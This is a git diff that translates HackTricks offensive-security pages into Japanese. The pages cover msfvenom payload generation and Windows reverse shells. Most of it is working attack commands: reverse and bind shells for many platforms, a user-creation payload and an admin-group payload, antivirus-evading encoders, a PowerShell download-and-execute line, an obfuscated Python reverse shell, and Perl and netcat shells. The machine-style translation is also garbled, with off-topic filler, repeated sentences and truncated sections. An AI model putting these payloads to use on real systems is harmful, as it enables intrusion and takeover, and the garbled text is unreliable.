[**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグバウンティについて通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する `msfvenom -p -e -f -i LHOST=` -One can also use the `-a` to specify the architecture or the `--platform` - -## Listing +または、`-a`を使用してアーキテクチャを指定するか、`--platform`を使用することもできます。 +## リスト表示 ```bash msfvenom -l payloads #Payloads msfvenom -l encoders #Encoders ``` +## シェルコードを作成する際の一般的なパラメータ -## Common params when creating a shellcode +When creating a shellcode, there are several common parameters that can be used to customize its behavior. These parameters include: +- **LHOST**: The local host IP address or hostname to which the shellcode will connect back. +- **LPORT**: The local port number on the host to which the shellcode will connect back. +- **RHOST**: The remote host IP address or hostname to which the shellcode will connect. +- **RPORT**: The remote port number on the host to which the shellcode will connect. +- **EXITFUNC**: The method used to exit the shellcode after execution (e.g., thread, process, seh, none). +- **Encoder**: The encoding algorithm used to obfuscate the shellcode. +- **BadChars**: A list of characters that should not be present in the shellcode. +- **Payload**: The specific payload to be used (e.g., reverse shell, bind shell, meterpreter). + +シェルコードを作成する際には、その動作をカスタマイズするために使用できるいくつかの一般的なパラメータがあります。これらのパラメータには以下が含まれます: + +- **LHOST**:シェルコードが接続するローカルホストのIPアドレスまたはホスト名。 +- **LPORT**:シェルコードが接続するホスト上のローカルポート番号。 +- **RHOST**:シェルコードが接続するリモートホストのIPアドレスまたはホスト名。 +- **RPORT**:シェルコードが接続するホスト上のリモートポート番号。 +- **EXITFUNC**:シェルコードの実行後に使用される終了方法(スレッド、プロセス、seh、なし)。 +- **Encoder**:シェルコードを曖昧化するために使用されるエンコーディングアルゴリズム。 +- **BadChars**:シェルコードに含まれてはならない文字のリスト。 +- **Payload**:使用する具体的なペイロード(リバースシェル、バインドシェル、メータプリータなど)。 ```bash --b "\x00\x0a\x0d" --f c --e x86/shikata_ga_nai -i 5 +-b "\x00\x0a\x0d" +-f c +-e x86/shikata_ga_nai -i 5 EXITFUNC=thread PrependSetuid=True #Use this to create a shellcode that will execute something with SUID ``` - ## **Windows** -### **Reverse Shell** - +### **リバースシェル** ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe ``` +### バインドシェル -### Bind Shell +バインドシェルは、攻撃者がリモートシステムに接続し、システムの制御を取得するための一種のリモートシェルです。バインドシェルを使用すると、攻撃者はリモートシステム上でコマンドを実行し、ファイルの操作やシステムの制御を行うことができます。 +バインドシェルを作成するために、msfvenomツールを使用することができます。以下のコマンドを使用して、バインドシェルを作成します。 + +```plaintext +msfvenom -p LHOST= LPORT= -f -o +``` + +- ``: 使用するペイロードの種類を指定します。 +- ``: 攻撃者のIPアドレスを指定します。 +- ``: 攻撃者が接続するポート番号を指定します。 +- ``: 出力ファイルの形式を指定します。 +- ``: 作成されるバインドシェルの出力先ファイルを指定します。 + +バインドシェルを作成した後は、攻撃者はバインドシェルをリモートシステムに配置し、接続することができます。これにより、攻撃者はリモートシステム上でコマンドを実行し、システムを制御することができます。 + +バインドシェルは、攻撃者がリモートシステムに物理的なアクセス権限を持っていなくても、システムに侵入し制御するための効果的な手法です。 ```bash msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe ``` +To create a user, you can use the `msfvenom` tool in Metasploit. The `msfvenom` tool allows you to generate various types of payloads, including shellcode, which can be used to create a user on a target system. -### Create User +Here is an example command to create a user using `msfvenom`: +```plaintext +msfvenom -p windows/adduser USER=username PASS=password -f exe > adduser.exe +``` + +This command will generate an executable file called `adduser.exe`, which, when executed on a Windows system, will create a new user with the specified username and password. + +You can customize the payload according to your needs, such as specifying the target architecture, payload format, and other options. Refer to the `msfvenom` documentation for more information on available options and payload types. + +Remember to use this technique responsibly and only on systems that you have proper authorization to access. ```bash msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe ``` +### CMDシェル -### CMD Shell +The CMD shell is a command-line interpreter for Windows operating systems. It provides a way to interact with the operating system by executing commands and scripts. The CMD shell is commonly used by system administrators and power users for various tasks, including managing files and directories, running programs, and configuring system settings. +To create a CMD shell payload using msfvenom, you can use the following command: + +``` +msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f exe > shell.exe +``` + +This command generates a reverse TCP shell payload that connects back to the attacker's machine. You need to replace `` with your IP address and `` with the port number you want to use for the connection. + +Once you have generated the payload, you can transfer it to the target machine and execute it. This will establish a reverse TCP connection between the target machine and your machine, allowing you to execute commands on the target machine. + +To listen for the incoming connection and interact with the CMD shell, you can use the `nc` command or a similar tool on your machine. For example: + +``` +nc -lvp +``` + +Replace `` with the same port number you used in the msfvenom command. + +Once the connection is established, you can execute commands on the target machine through the CMD shell. Keep in mind that you may need to bypass antivirus or other security measures to successfully execute the payload and establish the connection. ```bash msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe ``` +### **コマンドの実行** -### **Execute Command** +To execute a command using msfvenom, you can use the following syntax: +``` +msfvenom -p [options] +``` + +Here, `` refers to the payload you want to use, and `[options]` represents any additional options you want to include. + +For example, to generate a reverse shell payload using msfvenom, you can use the following command: + +``` +msfvenom -p LHOST= LPORT= -f -o +``` + +In this command, `` should be replaced with the desired payload, `` should be replaced with the IP address of the attacker machine, `` should be replaced with the port number the attacker machine is listening on, `` should be replaced with the desired output format, and `` should be replaced with the name of the file where the payload will be saved. + +Once the payload is generated, you can execute it on the target machine to establish a reverse shell connection with the attacker machine. ```bash msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe ``` +### エンコーダ -### Encoder +An encoder is a tool used in hacking to obfuscate or encode malicious payloads. It is commonly used to bypass security measures such as antivirus software. By encoding the payload, the hacker can make it more difficult for security systems to detect and analyze the malicious code. +エンコーダは、悪意のあるペイロードを曖昧化またはエンコードするために使用されるツールです。これは、アンチウイルスソフトウェアなどのセキュリティ対策を回避するために一般的に使用されます。ペイロードをエンコードすることで、ハッカーはセキュリティシステムが悪意のあるコードを検出および分析するのをより困難にすることができます。 ```bash msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe ``` +### 実行可能ファイルに埋め込まれた形で -### Embedded inside executable +To embed a payload inside an executable file, you can use the `msfvenom` tool from the Metasploit Framework. This allows you to create a custom payload and inject it into an existing executable file without modifying its functionality. +To generate the payload, use the following command: + +``` +msfvenom -p LHOST= LPORT= -f -o +``` + +Replace `` with the desired payload, `` with your IP address, `` with the port you want to listen on, `` with the desired output format (e.g., exe, elf, macho), and `` with the name of the output file. + +For example, to embed a reverse shell payload into a Windows executable file, you can use the following command: + +``` +msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f exe -o payload.exe +``` + +This will generate a file named `payload.exe` that contains the reverse shell payload. + +Once you have the payload, you can transfer it to the target system and execute it. When the executable file is run on the target system, it will establish a connection back to your machine, giving you remote access to the target. + +Remember to use this technique responsibly and only on systems that you have proper authorization to access. ```bash msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe ``` +### リバースシェル -## Linux Payloads +リバースシェルは、ターゲットマシンから攻撃者のマシンに接続するためのペイロードです。これにより、攻撃者はターゲットマシン上でコマンドを実行し、システムにアクセスすることができます。 -### Reverse Shell +以下は、リバースシェルの作成方法の例です。 +```bash +msfvenom -p LHOST= LPORT= -f -o +``` + +- ``: 使用するペイロードの種類を指定します。 +- ``: 攻撃者のマシンのIPアドレスを指定します。 +- ``: 攻撃者のマシンで待ち受けるポート番号を指定します。 +- ``: 出力ファイルの形式を指定します。 +- ``: 出力ファイルのパスと名前を指定します。 + +例えば、以下のコマンドは、Linuxシステムで使用するリバースシェルを作成します。 + +```bash +msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f elf -o reverse_shell.elf +``` + +このコマンドは、`linux/x86/shell_reverse_tcp`ペイロードを使用し、攻撃者のIPアドレスが`192.168.0.100`で、ポート番号が`4444`であるリバースシェルを作成します。出力ファイルは`reverse_shell.elf`という名前で保存されます。 + +作成したリバースシェルをターゲットマシンに配置し、攻撃者のマシンで待ち受けるポートに接続することで、リバースシェルを実行することができます。これにより、攻撃者はターゲットマシンに対してコマンドを送信し、システムにアクセスすることができます。 ```bash msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf ``` +### バインドシェル -### Bind Shell +バインドシェルは、攻撃者がリモートシステムに接続し、システムの制御を取得するための一種のリモートシェルです。バインドシェルを使用すると、攻撃者はリモートシステム上でコマンドを実行し、ファイルの操作やシステムの制御を行うことができます。 +バインドシェルを作成するために、msfvenomツールを使用することができます。以下のコマンドを使用して、バインドシェルを作成します。 + +```plaintext +msfvenom -p LHOST= LPORT= -f -o +``` + +- ``: 使用するペイロードの種類を指定します。 +- ``: 攻撃者のIPアドレスを指定します。 +- ``: 攻撃者が接続するポート番号を指定します。 +- ``: 出力ファイルの形式を指定します。 +- ``: 作成されるバインドシェルの出力先ファイルを指定します。 + +バインドシェルを作成した後は、攻撃者はバインドシェルをリモートシステムに配置し、接続することで制御を取得できます。 ```bash msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf ``` +### SunOS(Solaris) -### SunOS (Solaris) +SunOS is a Unix-based operating system developed by Sun Microsystems. It is commonly used in enterprise environments and is known for its stability and scalability. SunOS provides a secure and reliable platform for running mission-critical applications. +SunOS has its own set of vulnerabilities that can be exploited by hackers. By understanding these vulnerabilities, hackers can gain unauthorized access to SunOS systems and compromise their security. + +Here are some common vulnerabilities found in SunOS: + +1. **Remote Code Execution**: Hackers can exploit vulnerabilities in SunOS to execute arbitrary code remotely. This can be done by sending specially crafted packets or by exploiting vulnerable services running on the system. + +2. **Privilege Escalation**: Once a hacker gains access to a SunOS system, they may attempt to escalate their privileges to gain higher levels of access. This can be done by exploiting vulnerabilities in the operating system or by leveraging misconfigurations in system settings. + +3. **Information Disclosure**: Hackers can also exploit vulnerabilities in SunOS to gain access to sensitive information stored on the system. This can include user credentials, configuration files, or other confidential data. + +To protect SunOS systems from these vulnerabilities, it is important to keep the operating system and all installed software up to date with the latest security patches. Additionally, implementing strong access controls, such as strong passwords and multi-factor authentication, can help prevent unauthorized access to the system. + +By understanding the vulnerabilities and taking appropriate security measures, system administrators can mitigate the risk of SunOS systems being compromised by hackers. ```bash msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf ``` +## **MAC ペイロード** -## **MAC Payloads** - -### **Reverse Shell:** - +### **リバースシェル:** ```bash msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho ``` +### **バインドシェル** -### **Bind Shell** +A bind shell is a type of shell that listens for incoming connections on a specific port. Once a connection is established, the bind shell provides a command-line interface to interact with the target system. This allows the attacker to execute commands and control the target remotely. +To create a bind shell using `msfvenom`, you can use the following command: + +``` +msfvenom -p LHOST= LPORT= -f -o +``` + +- ``: The payload to use for the bind shell. This can be a reverse shell payload or any other payload that provides a shell. +- ``: The IP address of the attacker machine. +- ``: The port on which the bind shell will listen for incoming connections. +- ``: The format in which the payload should be generated (e.g., exe, elf, etc.). +- ``: The file to which the generated payload should be saved. + +Once the bind shell payload is generated, you can transfer it to the target system and execute it. This will start the bind shell and listen for incoming connections on the specified port. ```bash msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho ``` - -## **Web Based Payloads** +## **Webベースのペイロード** ### **PHP** -#### Reverse shel**l** - +#### 逆シェル ```bash msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php ``` +```plaintext +msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f aspx -o shell.aspx +``` -### ASP/x - -#### Reverse shell - +このコマンドは、Windowsシステムに対して逆接続シェルを提供するASP/x形式のファイルを生成します。``と``は、逆接続シェルを受け取るIPアドレスとポート番号に置き換える必要があります。生成されたファイルは`shell.aspx`という名前で保存されます。 ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx ``` +#### リバースシェル -### JSP +リバースシェルは、ターゲットマシンに接続するために使用されるシェルです。JSP(Java Server Pages)を使用してリバースシェルを作成する方法について説明します。 -#### Reverse shell +1. Metasploitの`msfvenom`コマンドを使用して、JSPファイルを生成します。 +```plaintext +msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp +``` + +2. 生成された`shell.jsp`ファイルをターゲットマシンにアップロードします。 + +3. ターゲットマシンでWebサーバを起動し、`shell.jsp`ファイルにアクセスします。 + +4. Metasploitの`multi/handler`モジュールを使用して、リバースシェルの接続を待機します。 + +```plaintext +use exploit/multi/handler +set payload java/jsp_shell_reverse_tcp +set LHOST +set LPORT +run +``` + +5. ターゲットマシンが`shell.jsp`ファイルにアクセスすると、リバースシェルが確立され、攻撃者はターゲットマシンに対してコマンドを実行できるようになります。 + +リバースシェルを使用する際には、権限の制限やセキュリティ対策に注意してください。また、合法的な目的のためにのみ使用してください。 ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp ``` +The **WAR** file format is commonly used in Java web applications. It stands for Web Application Archive and is essentially a compressed file that contains all the necessary files and resources for a web application to run. -### WAR +One of the common uses of a WAR file is to deploy a web application to a server. However, as a hacker, you can also leverage the WAR file format to deliver a reverse shell payload to a target system. -#### Reverse Shell +A **reverse shell** is a type of shell in which the target system initiates a connection to the attacker's machine, allowing the attacker to gain remote access and control over the target system. +To create a reverse shell payload in a WAR file, you can use the `msfvenom` tool, which is part of the Metasploit Framework. `msfvenom` allows you to generate various types of payloads, including reverse shells, with different options and configurations. + +Here is an example command to generate a reverse shell payload in a WAR file using `msfvenom`: + +```plaintext +msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > reverse_shell.war +``` + +In this command, you need to replace `` with your IP address and `` with the port number on which you want to listen for the reverse shell connection. + +Once you have generated the reverse shell payload in the form of a WAR file, you can deploy it to a vulnerable web server or deliver it to the target system through other means, such as social engineering or exploiting a vulnerability. + +When the WAR file is executed on the target system, it establishes a reverse shell connection back to your machine, giving you remote access and control over the target system. + +Remember to use these techniques responsibly and only on systems that you have proper authorization to test or assess for security vulnerabilities. ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war ``` - ### NodeJS +NodeJSは、JavaScriptランタイム環境であり、サーバーサイドのアプリケーション開発に使用されます。NodeJSは、非同期イベント駆動型のアーキテクチャを持ち、高いパフォーマンスとスケーラビリティを提供します。 + +NodeJSを使用してWebアプリケーションを開発する場合、以下の手順に従うことが一般的です。 + +1. 必要なパッケージのインストール +2. サーバーの作成と設定 +3. ルーティングの設定 +4. リクエストの処理 +5. データベースの操作 +6. レスポンスの生成 +7. エラーハンドリング + +NodeJSは、多くの便利なフレームワークやモジュールを提供しており、これらを活用することで開発効率を向上させることができます。また、NodeJSはセキュリティにも注意が必要であり、適切な認証や権限管理を実装することが重要です。 + +NodeJSは、Webアプリケーションの開発だけでなく、ネットワークプログラミングやマイクロサービスの構築など、さまざまな用途に利用することができます。そのため、NodeJSの基本的な知識を身につけることは、現代の開発者にとって非常に重要です。 ```bash msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) ``` - -## **Script Language payloads** +## **スクリプト言語のペイロード** ### **Perl** - ```bash msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl ``` - ### **Python** +### 概要 + +Pythonは、高水準のプログラミング言語であり、多くの用途に使用されています。Pythonは、シンプルで読みやすい構文を持ち、幅広いライブラリとモジュールが利用できます。この言語は、ネットワーキング、Web開発、データ解析、機械学習など、さまざまな分野で使用されています。 + +### メリット + +- シンプルで読みやすい構文 +- 幅広いライブラリとモジュールのサポート +- クロスプラットフォーム対応 +- 多くのフレームワークとの統合が容易 +- 大規模なコミュニティとサポート + +### デメリット + +- 実行速度が他の言語に比べて遅い場合がある +- メモリ使用量が大きい場合がある +- スレッドセーフではない + +### インストール + +Pythonの最新バージョンは、公式ウェブサイトからダウンロードできます。また、多くのオペレーティングシステムには、デフォルトでPythonがインストールされている場合もあります。 + +### 使用例 + +以下は、PythonでHello Worldを表示する簡単なプログラムの例です。 + +```python +print("Hello World!") +``` + +### まとめ + +Pythonは、シンプルで読みやすい構文と豊富なライブラリのサポートを持つ高水準のプログラミング言語です。多くの分野で使用されており、クロスプラットフォーム対応やフレームワークとの統合が容易な点が特徴です。ただし、実行速度やメモリ使用量には注意が必要です。 ```bash msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py ``` +### **Bash(バッシュ)** -### **Bash** +Bash(バッシュ)は、Unixシェルおよびコマンド言語の一種です。Bashは、LinuxやmacOSなどの多くのオペレーティングシステムでデフォルトのシェルとして使用されています。Bashは、シェルスクリプトの作成や実行、コマンドの実行、ファイルの操作など、さまざまなタスクを実行するために使用されます。 +Bashスクリプトは、テキストファイルとして保存され、実行可能な権限が与えられることで実行することができます。Bashスクリプトは、シェルコマンドや制御構造(if文、forループなど)を使用して、複数のコマンドを連続して実行することができます。 + +Bashは、シェルスクリプトの作成や実行、コマンドの実行、ファイルの操作など、さまざまなタスクを実行するために使用されます。Bashは、シェルスクリプトの作成や実行、コマンドの実行、ファイルの操作など、さまざまなタスクを実行するために使用されます。 + +Bashは、シェルスクリプトの作成や実行、コマンドの実行、ファイルの操作など、さまざまなタスクを実行するために使用されます。Bashは、シェルスクリプトの作成や実行、コマンドの実行、ファイルの操作など、さまざまなタスクを実行するために使用されます。 ```bash msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh ``` -
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグ報酬について通知を受ける -💬 Participate in community discussions +💬 コミュニティのディスカッションに参加する
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/generic-methodologies-and-resources/shells/windows.md b/generic-methodologies-and-resources/shells/windows.md index 843c3d05f..8a60fc409 100644 --- a/generic-methodologies-and-resources/shells/windows.md +++ b/generic-methodologies-and-resources/shells/windows.md @@ -1,81 +1,216 @@ -# Shells - Windows +# シェル - Windows
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したい**ですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグバウンティについて通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する ## Lolbas -The page [lolbas-project.github.io](https://lolbas-project.github.io/) is for Windows like [https://gtfobins.github.io/](https://gtfobins.github.io/) is for linux.\ -Obviously, **there aren't SUID files or sudo privileges in Windows**, but it's useful to know **how** some **binaries** can be (ab)used to perform some kind of unexpected actions like **execute arbitrary code.** +ページ[lolbas-project.github.io](https://lolbas-project.github.io/)は、[https://gtfobins.github.io/](https://gtfobins.github.io/)のように、Windows用です。\ +明らかに、**WindowsにはSUIDファイルやsudo特権はありません**が、いくつかの**バイナリ**がどのように(悪用されて)任意のコードを実行するかを知るのは役に立ちます。 ## NC - ```bash nc.exe -e cmd.exe ``` - ## SBD -**sbd** is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-CBC-128 + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. sbd supports TCP/IP communication only. sbd.exe (part of the Kali linux distribution: /usr/share/windows-resources/sbd/sbd.exe) can be uploaded to a Windows box as a Netcat alternative. +**sbd**は、ポータブルで強力な暗号化を提供するために設計されたNetcatのクローンです。Unix系のオペレーティングシステムとMicrosoft Win32で動作します。sbdには、AES-CBC-128 + HMAC-SHA1暗号化(Christophe Devineによる)、プログラムの実行(-eオプション)、ソースポートの選択、遅延を伴う連続再接続など、他の便利な機能があります。sbdはTCP/IP通信のみをサポートしています。sbd.exe(Kali Linuxディストリビューションの一部:/usr/share/windows-resources/sbd/sbd.exe)は、Netcatの代替としてWindowsボックスにアップロードすることができます。 ## Python - ```bash #Windows C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` - -## Perl - +Perl is a high-level programming language that is commonly used for scripting and automation tasks. It is known for its powerful text processing capabilities and its ability to handle complex data structures. Perl is often used in the field of cybersecurity for tasks such as web scraping, data manipulation, and exploit development. It is particularly useful for writing scripts that interact with the Windows operating system, as it provides a wide range of built-in functions and modules for this purpose. Perl scripts can be executed on a Windows machine using the Perl interpreter, which is available for download from the official Perl website. ```bash perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` +## ルビー -## Ruby +Rubyは、オブジェクト指向のプログラミング言語であり、シンプルで読みやすい構文を持っています。Rubyは、Webアプリケーションの開発やスクリプトの作成に広く使用されています。 +### Rubyのインストール + +Rubyをインストールするには、公式のRubyインストーラを使用するか、パッケージマネージャを介してインストールします。 + +#### 